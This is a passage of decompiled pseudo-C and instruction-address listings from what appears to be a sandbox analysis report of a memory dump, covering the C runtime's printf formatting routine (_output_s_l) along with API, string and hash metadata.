																			 *(__ebp - 0x24) = __ecx;
																			L108:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																	case 0xc:
																		L145:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428200(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428220(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																}
															case 8:
																L30:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																goto L33;
															case 9:
																L31:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L33;
															case 0xa:
																L29:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xb:
																L28:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L33;
															case 0xc:
																L32:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xd:
																L33:
																goto L218;
														}
													} else {
														if(0 == 0) {
															 *(_t557 - 0x314) = 0;
														} else {
															 *(_t557 - 0x314) = 1;
														}
														_t543 =  *(_t557 - 0x314);
														 *(_t557 - 0x278) =  *(_t557 - 0x314);
														if( *(_t557 - 0x278) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t526 = L0041E220();
															_t559 = _t559 + 0x14;
															if(_t526 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t557 - 0x278) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00422D10(_t543))) = 0x16;
															E00422AA0(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t557 - 0x2f0) = 0xffffffff;
															E0041ACC0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2f0);
															L229:
															return E0042BB60(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
														}
													}
												}
												L219:
												__eflags =  *(_t557 - 0x25c);
												if( *(_t557 - 0x25c) == 0) {
													L222:
													 *(_t557 - 0x334) = 1;
													L223:
													_t530 =  *(_t557 - 0x334);
													 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t504 = L0041E220();
														_t559 = _t559 + 0x14;
														__eflags = _t504 - 1;
														if(_t504 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) != 0) {
														 *(_t557 - 0x300) =  *(_t557 - 0x24c);
														E0041ACC0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x300);
													} else {
														 *((intOrPtr*)(L00422D10(_t530))) = 0x16;
														E00422AA0(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t557 - 0x2fc) = 0xffffffff;
														E0041ACC0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x2fc);
													}
													goto L229;
												}
												L220:
												__eflags =  *(_t557 - 0x25c) - 7;
												if( *(_t557 - 0x25c) == 7) {
													goto L222;
												}
												L221:
												 *(_t557 - 0x334) = 0;
												goto L223;
											}
										}
										L187:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L189:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L190;
										}
										L188:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L190;
										}
										goto L189;
									}
									L183:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2bc);
									__edx =  *(__ebp - 0x2c0);
									__eax = E00430630( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
									 *(__ebp - 0x2ac) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2bc);
									__ecx =  *(__ebp - 0x2c0);
									 *(__ebp - 0x2c0) = E004306B0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2bc) = __edx;
									__eflags =  *(__ebp - 0x2ac) - 0x39;
									if( *(__ebp - 0x2ac) > 0x39) {
										__edx =  *(__ebp - 0x2ac);
										__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2ac) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2ac);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									goto L182;
								}
							}
							L168:
							__eflags =  *(__ebp - 0x2b8);
							if( *(__ebp - 0x2b8) >= 0) {
								goto L170;
							}
							goto L169;
							L170:
							__ecx =  *(__ebp - 0x2b8);
							 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
							__edx =  *(__ebp - 0x2b4);
							 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
							goto L171;
						}
					}
				}
			}

0x00434e57
0x00434e57
0x00434e57
0x00434e57
0x00434e57
0x00434e57
0x00434e57
0x00434e61
0x00434e61
0x00434e61
0x00434e6b
0x00434e6b
0x00434e71
0x00434e73
0x00434e7d
0x00434e7d
0x00434e80
0x00434e83
0x00434e83
0x00434eaa
0x00434eaa
0x00434ead
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f66
0x00434f6a
0x00434f72
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4b
0x00434f4f
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f25
0x00434f31
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f09
0x00434f0d
0x00434f15
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434edc
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb4
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f83
0x00434f86
0x00000000
0x00000000
0x00434f88
0x00434f88
0x00434f8f
0x00000000
0x00000000
0x00434f91
0x00434f91
0x00434f9c
0x00434fa2
0x00434fa4
0x00434faa
0x00434fad
0x00434faf
0x00434fb5
0x00434fbe
0x00434fc3
0x00434fe0
0x00434fe3
0x00434fe3
0x00434fe8
0x00434fed
0x00434fed
0x00434ff3
0x00434ff5
0x00434ffb
0x00435001
0x00435001
0x0043500a
0x0043500a
0x00434ff3
0x00435010
0x00435014
0x00435022
0x00435025
0x00435028
0x0043502f
0x00435031
0x00435031
0x00435016
0x00435016
0x00435016
0x0043503e
0x0043503e
0x00435044
0x00435046
0x00435046
0x0043504d
0x00435050
0x00435053
0x00435053
0x00435053
0x00435059
0x0043505c
0x0043505f
0x00435061
0x00000000
0x00000000
0x00435063
0x00435069
0x00435069
0x0043506f
0x004350ec
0x004350ef
0x004350f2
0x004350f5
0x004350f8
0x004350fb
0x00435101
0x00435101
0x00435107
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x0043513c
0x0043513f
0x0043513f
0x00435142
0x00435147
0x00435147
0x0043514c
0x0043515e
0x0043515e
0x00435161
0x00435173
0x00435173
0x00435176
0x00435178
0x0043517c
0x0043517c
0x00435163
0x00435163
0x00435167
0x00435167
0x0043514e
0x0043514e
0x00435152
0x00435152
0x0043514c
0x00435186
0x00435189
0x0043518c
0x00435195
0x00435195
0x00435198
0x0043519a
0x004351a1
0x004351a5
0x004351ae
0x004351b3
0x004351b6
0x004351bd
0x004351c1
0x004351c5
0x004351d1
0x004351d4
0x004351d4
0x004351d7
0x004351dc
0x004351dc
0x004351df
0x004351e1
0x004351e8
0x004351ec
0x004351f5
0x004351fa
0x004351df
0x004351fd
0x00435201
0x004352d5
0x004352d5
0x004352dc
0x004352e0
0x004352e4
0x004352e8
0x00000000
0x00435207
0x00435207
0x00435207
0x0043520b
0x00000000
0x00000000
0x00435211
0x00435211
0x0043521b
0x0043521e
0x00435224
0x00435227
0x0043522d
0x0043522d
0x0043522d
0x00435239
0x0043523c
0x00435242
0x00435244
0x00000000
0x00000000
0x0043524a
0x0043524a
0x00435253
0x0043525a
0x00435264
0x0043526b
0x0043527a
0x00435286
0x00435289
0x0043528f
0x00435296
0x004352a1
0x004352a1
0x00000000
0x004352a1
0x00435298
0x00435298
0x0043529f
0x004352ad
0x004352ad
0x004352b4
0x004352b8
0x004352c6
0x00000000
0x004352cb
0x00000000
0x0043529f
0x004352d3
0x004352f0
0x004352f0
0x004352f7
0x004352fc
0x004352fc
0x004352ff
0x00435301
0x00435308
0x0043530c
0x00435315
0x0043531a
0x004352ff
0x004352f7
0x0043531d
0x0043531d
0x00435321
0x00435329
0x00435331
0x00435331
0x00435338
0x00435338
0x0043440f
0x00434415
0x00434422
0x00434427
0x00000000
0x0043443a
0x00434444
0x0043446b
0x00434452
0x00434463
0x00434463
0x00434444
0x00434475
0x0043447b
0x00434487
0x0043448a
0x00434498
0x0043449b
0x004344a8
0x0043454d
0x00434553
0x00434559
0x00434560
0x00000000
0x00000000
0x00434566
0x0043456c
0x00000000
0x00434573
0x00434573
0x0043458b
0x00434590
0x00434593
0x00434595
0x0043464f
0x00434662
0x00434667
0x00000000
0x0043459b
0x004345ae
0x004345b3
0x004345b9
0x004345bb
0x004345c4
0x004345c4
0x004345c7
0x004345d3
0x004345d7
0x004345dd
0x004345df
0x004345e4
0x004345e6
0x004345eb
0x004345f0
0x004345f2
0x004345f7
0x004345fa
0x004345fd
0x004345ff
0x004345ff
0x004345fd
0x00434600
0x00434600
0x00434607
0x00000000
0x00434609
0x0043460e
0x0043462a
0x00434632
0x0043463f
0x00434644
0x00000000
0x00434644
0x00434607
0x00000000
0x0043466f
0x0043466f
0x00434676
0x00434679
0x0043467c
0x0043467f
0x00434682
0x00434685
0x00434688
0x0043468f
0x00434696
0x00000000
0x00000000
0x004346a2
0x004346a2
0x004346a9
0x004346b5
0x004346b8
0x004346be
0x004346c5
0x00000000
0x00000000
0x004346c7
0x004346c7
0x004346cd
0x004346cd
0x004346d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434717
0x00434717
0x0043471e
0x00434721
0x0043474b
0x0043474e
0x0043474e
0x00434751
0x00434758
0x00434758
0x0043475c
0x00434723
0x00434723
0x0043472f
0x00434732
0x00434736
0x00434738
0x0043473b
0x0043473b
0x0043473e
0x00434744
0x00434746
0x00434746
0x00434749
0x00000000
0x00000000
0x00434764
0x00434764
0x00000000
0x00000000
0x00434770
0x00434770
0x00434777
0x0043477a
0x0043479a
0x0043479d
0x0043479d
0x004347a7
0x004347a7
0x004347ab
0x0043477c
0x0043477c
0x00434788
0x0043478b
0x0043478f
0x00434791
0x00434791
0x00434798
0x00000000
0x00000000
0x004347b3
0x004347b3
0x004347ba
0x004347c6
0x004347c9
0x004347cf
0x004347d6
0x004348e9
0x00000000
0x004348e9
0x004347dc
0x004347dc
0x004347e2
0x004347e2
0x004347e9
0x00000000
0x0043481f
0x0043481f
0x00434822
0x00434825
0x00434828
0x00434850
0x00434850
0x00434853
0x00434856
0x00434859
0x0043487e
0x0043487e
0x00434881
0x00434884
0x00434887
0x004348c0
0x004348d1
0x00000000
0x004348d1
0x00434889
0x00434889
0x0043488c
0x0043488f
0x00434892
0x00000000
0x00000000
0x00434894
0x00434894
0x00434897
0x0043489a
0x0043489d
0x00000000
0x00000000
0x0043489f
0x0043489f
0x004348a2
0x004348a5
0x004348a8
0x00000000
0x00000000
0x004348aa
0x004348aa
0x004348ad
0x004348b0
0x004348b3
0x00000000
0x00000000
0x004348b5
0x004348b5
0x004348b8
0x004348bb
0x004348be
0x004348c2
0x00000000
0x004348c2
0x00000000
0x004348be
0x0043485b
0x0043485b
0x0043485e
0x00434862
0x00434865
0x00000000
0x00434867
0x0043486a
0x0043486d
0x00434870
0x00434873
0x00434879
0x00000000
0x00434879
0x00434865
0x0043482a
0x0043482a
0x0043482d
0x00434831
0x00434834
0x00000000
0x00434836
0x00434839
0x0043483c
0x0043483f
0x00434842
0x00434848
0x00000000
0x00434848
0x00000000
0x004348d3
0x004348d6
0x004348d9
0x00000000
0x00000000
0x004347f0
0x004347f0
0x004347f3
0x004347f6
0x004347f9
0x00434811
0x00434814
0x00434814
0x00434817
0x004347fb
0x004347fe
0x00434801
0x00434807
0x0043480c
0x0043480c
0x00000000
0x00000000
0x004348de
0x004348de
0x004348e1
0x004348e1
0x004348e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004348ee
0x004348ee
0x004348f5
0x00434901
0x00434904
0x0043490a
0x00434911
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00434917
0x0043491d
0x0043491d
0x00434924
0x00000000
0x00434c7e
0x00434c7e
0x00434c85
0x00434c8c
0x00434c8c
0x00434c8f
0x00000000
0x00000000
0x0043492b
0x0043492e
0x0043492e
0x00434934
0x00434936
0x00434939
0x00434939
0x0043493e
0x0043493e
0x00000000
0x00000000
0x00434a6b
0x00434a6e
0x00434a6e
0x00434a73
0x00434a75
0x00434a78
0x00434a78
0x00434a7e
0x00434a7e
0x00000000
0x00000000
0x00434e4b
0x00434e4b
0x00434e61
0x00434e61
0x00434e6b
0x00434e6b
0x00434e71
0x00434e73
0x00434e7d
0x00434e7d
0x00434e80
0x00434e83
0x00434e83
0x00000000
0x00000000
0x004349d5
0x004349d5
0x004349e1
0x004349e7
0x004349ee
0x004349fc
0x004349fc
0x00434a02
0x00434a05
0x00434a11
0x00434a66
0x00000000
0x00434a66
0x004349f0
0x004349f0
0x004349f6
0x004349fa
0x00434a16
0x00434a19
0x00434a19
0x00434a1f
0x00434a47
0x00434a4e
0x00434a54
0x00434a57
0x00434a5a
0x00434a60
0x00434a63
0x00434a21
0x00434a21
0x00434a27
0x00434a2a
0x00434a2d
0x00434a33
0x00434a36
0x00434a39
0x00434a3b
0x00434a3e
0x00434a3e
0x00000000
0x00434a1f
0x00000000
0x00000000
0x00434c95
0x00434c98
0x00434c9b
0x00434c9e
0x00434ca4
0x00434ca7
0x00434cae
0x00434cb2
0x00434cbd
0x00434cbd
0x00434cc1
0x00434cd8
0x00434cd8
0x00434cdf
0x00434ce1
0x00434ce1
0x00434ce8
0x00434ce8
0x00434cef
0x00434d00
0x00434d0f
0x00434d12
0x00434d16
0x00434d2c
0x00434d18
0x00434d18
0x00434d1b
0x00434d21
0x00434d27
0x00434d27
0x00434d16
0x00434d36
0x00434d39
0x00434d3c
0x00434d3f
0x00434d42
0x00434d45
0x00434d4b
0x00434d51
0x00434d59
0x00434d5a
0x00434d5d
0x00434d5e
0x00434d61
0x00434d62
0x00434d69
0x00434d6a
0x00434d6d
0x00434d6e
0x00434d71
0x00434d72
0x00434d78
0x00434d79
0x00434d87
0x00434d89
0x00434d8f
0x00434d8f
0x00434d95
0x00434d97
0x00434d9b
0x00434d9d
0x00434da5
0x00434da6
0x00434da9
0x00434daa
0x00434db8
0x00434dba
0x00434dba
0x00434d9b
0x00434dbd
0x00434dc4
0x00434dc7
0x00434dcc
0x00434dcc
0x00434dd2
0x00434dd4
0x00434ddc
0x00434ddd
0x00434de0
0x00434de1
0x00434df0
0x00434df2
0x00434df2
0x00434dd2
0x00434df5
0x00434df8
0x00434dfb
0x00434dfe
0x00434e03
0x00434e09
0x00434e0c
0x00434e0f
0x00434e0f
0x00434e12
0x00434e12
0x00434e15
0x00434e21
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00435132
0x00434cc3
0x00434cc3
0x00434cca
0x00434ccd
0x00000000
0x00000000
0x00434ccf
0x00434ccf
0x00000000
0x00434ccf
0x00434cb4
0x00434cb4
0x00000000
0x00000000
0x00434941
0x00434944
0x00434944
0x0043494a
0x004349a5
0x004349ad
0x004349b4
0x004349ba
0x004349c0
0x0043494c
0x0043494c
0x00434956
0x0043495a
0x00434962
0x00434969
0x00434976
0x0043497d
0x00434989
0x0043498f
0x00434996
0x00434998
0x00434998
0x0043499f
0x004349c7
0x004349cd
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00434e29
0x00434e2c
0x00434e2f
0x00434e32
0x00434eaa
0x00434ead
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f66
0x00434f6a
0x00434f72
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4b
0x00434f4f
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f25
0x00434f31
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f09
0x00434f0d
0x00434f15
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434edc
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb4
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f83
0x00434f86
0x00000000
0x00000000
0x00000000
0x00434b87
0x00434b87
0x00434b93
0x00434b99
0x00434b9e
0x00434ba0
0x00434c4a
0x00434c4d
0x00434c4d
0x00434c50
0x00434c64
0x00434c6a
0x00434c70
0x00434c52
0x00434c52
0x00434c5f
0x00434c5f
0x00434c72
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00434ba6
0x00434ba6
0x00434ba6
0x00434ba8
0x00434bb6
0x00434baa
0x00434baa
0x00434baa
0x00434bc0
0x00434bc6
0x00434bcc
0x00434bd3
0x00434bd5
0x00434bda
0x00434bdc
0x00434be1
0x00434be6
0x00434be8
0x00434bed
0x00434bf0
0x00434bf3
0x00434bf5
0x00434bf5
0x00434bf3
0x00434bf6
0x00434bfd
0x00434c45
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00434bff
0x00434bff
0x00434c04
0x00434c20
0x00434c28
0x00434c32
0x00434c35
0x00434c3a
0x00000000
0x00434c3a
0x00000000
0x00434e8c
0x00434e8c
0x00434e96
0x00434e96
0x00434e9c
0x00434e9e
0x00434ea1
0x00434ea1
0x00434ea7
0x00434ea7
0x00434eaa
0x00434eaa
0x00434ead
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f66
0x00434f6a
0x00434f72
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4b
0x00434f4f
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f25
0x00434f31
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f09
0x00434f0d
0x00434f15
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434edc
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb4
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f83
0x00434f86
0x00000000
0x00000000
0x00000000
0x00434f86
0x00000000
0x00434e44
0x00434e44
0x00000000
0x00000000
0x00434a81
0x00434a81
0x00434a85
0x00434a93
0x00434a96
0x00434a87
0x00434a87
0x00434a87
0x00434a9c
0x00434aa2
0x00434aa8
0x00434ab4
0x00434aba
0x00434aba
0x00434ac0
0x00434b27
0x00434b27
0x00434b2b
0x00434b2d
0x00434b33
0x00434b33
0x00434b36
0x00434b39
0x00434b3f
0x00434b3f
0x00434b3f
0x00434b4b
0x00434b4e
0x00434b54
0x00434b56
0x00000000
0x00000000
0x00434b58
0x00434b58
0x00434b5e
0x00434b61
0x00434b63
0x00000000
0x00000000
0x00434b65
0x00434b6b
0x00434b6e
0x00434b6e
0x00434b76
0x00434b76
0x00434b7c
0x00434b7c
0x00434b7f
0x00000000
0x00434ac2
0x00434ac2
0x00434ac2
0x00434ac6
0x00434ac8
0x00434acd
0x00434acd
0x00434ad0
0x00434ad7
0x00434ada
0x00434ae0
0x00434ae0
0x00434ae0
0x00434aec
0x00434aef
0x00434af5
0x00434af7
0x00000000
0x00000000
0x00434af9
0x00434af9
0x00434aff
0x00434b02
0x00434b04
0x00000000
0x00000000
0x00434b06
0x00434b0c
0x00434b0f
0x00434b0f
0x00434b17
0x00434b1d
0x00434b20
0x00434b22
0x00434b82
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00000000
0x00434e3b
0x00434e3b
0x00434eaa
0x00434eaa
0x00434ead
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f66
0x00434f6a
0x00434f72
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4b
0x00434f4f
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f25
0x00434f31
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f09
0x00434f0d
0x00434f15
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434edc
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb4
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f83
0x00434f86
0x00000000
0x00000000
0x00000000
0x00434f86
0x00000000
0x00000000
0x00000000
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00000000
0x004346f1
0x004346f4
0x004346f7
0x00000000
0x00000000
0x004346fc
0x004346ff
0x00434704
0x00000000
0x00000000
0x004346e6
0x004346e6
0x004346e9
0x004346ec
0x00000000
0x00000000
0x004346db
0x004346de
0x004346e1
0x00000000
0x00000000
0x00434709
0x00434709
0x0043470c
0x0043470c
0x0043470f
0x00000000
0x00000000
0x00434712
0x00000000
0x00000000
0x004344ae
0x004344b0
0x004344be
0x004344b2
0x004344b2
0x004344b2
0x004344c8
0x004344ce
0x004344db
0x004344dd
0x004344e2
0x004344e4
0x004344e9
0x004344ee
0x004344f0
0x004344f5
0x004344fb
0x004344fd
0x004344fd
0x004344fb
0x004344fe
0x00434505
0x00000000
0x00434507
0x0043450c
0x00434528
0x00434530
0x0043453d
0x00434542
0x00435401
0x0043540e
0x0043540e
0x00434505
0x004344a8
0x0043533d
0x0043533d
0x00435344
0x0043535b
0x0043535b
0x00435365
0x00435365
0x0043536b
0x00435371
0x00435378
0x0043537a
0x0043537f
0x00435381
0x00435386
0x0043538b
0x0043538d
0x00435392
0x00435395
0x00435398
0x0043539a
0x0043539a
0x00435398
0x0043539b
0x004353a2
0x004353ed
0x004353f6
0x004353fb
0x004353a4
0x004353a9
0x004353c5
0x004353cd
0x004353da
0x004353df
0x004353df
0x00000000
0x004353a2
0x00435346
0x00435346
0x0043534d
0x00000000
0x00000000
0x0043534f
0x0043534f
0x00000000
0x0043534f
0x00435132
0x00435109
0x00435109
0x0043510d
0x0043511a
0x0043511d
0x00435120
0x00435123
0x00435126
0x00435129
0x0043512c
0x0043512c
0x0043512f
0x00000000
0x0043512f
0x0043510f
0x0043510f
0x00435112
0x00435115
0x00435118
0x00000000
0x00000000
0x00000000
0x00435118
0x00435071
0x00435071
0x00435074
0x00435077
0x0043507e
0x00435085
0x0043508d
0x00435093
0x00435096
0x00435099
0x004350a0
0x004350ac
0x004350b2
0x004350b8
0x004350bf
0x004350c1
0x004350c7
0x004350c7
0x004350cd
0x004350cd
0x004350d3
0x004350d6
0x004350dc
0x004350e1
0x004350e4
0x00435053
0x00435053
0x00435059
0x0043505c
0x0043505f
0x00435061
0x00000000
0x00000000
0x00000000
0x00435061
0x00435053
0x00434f93
0x00434f93
0x00434f9a
0x00000000
0x00000000
0x00000000
0x00434fc8
0x00434fc8
0x00434fce
0x00434fd4
0x00434fda
0x00000000
0x00434fda
0x00434eaa
0x00434e61

APIs

_get_int64_arg.LIBCMTD ref: 00434EB8
__aullrem.LIBCMT ref: 00435085
__aulldiv.LIBCMT ref: 004350A7

Strings

9, xrefs: 004350B8
0, xrefs: 00434E73
', xrefs: 00434E57

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction ID: 7b38f64c550d7cfe3de96ed130651757a56fe427fd073587ed4f7b8b198028f2
Opcode Fuzzy Hash: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
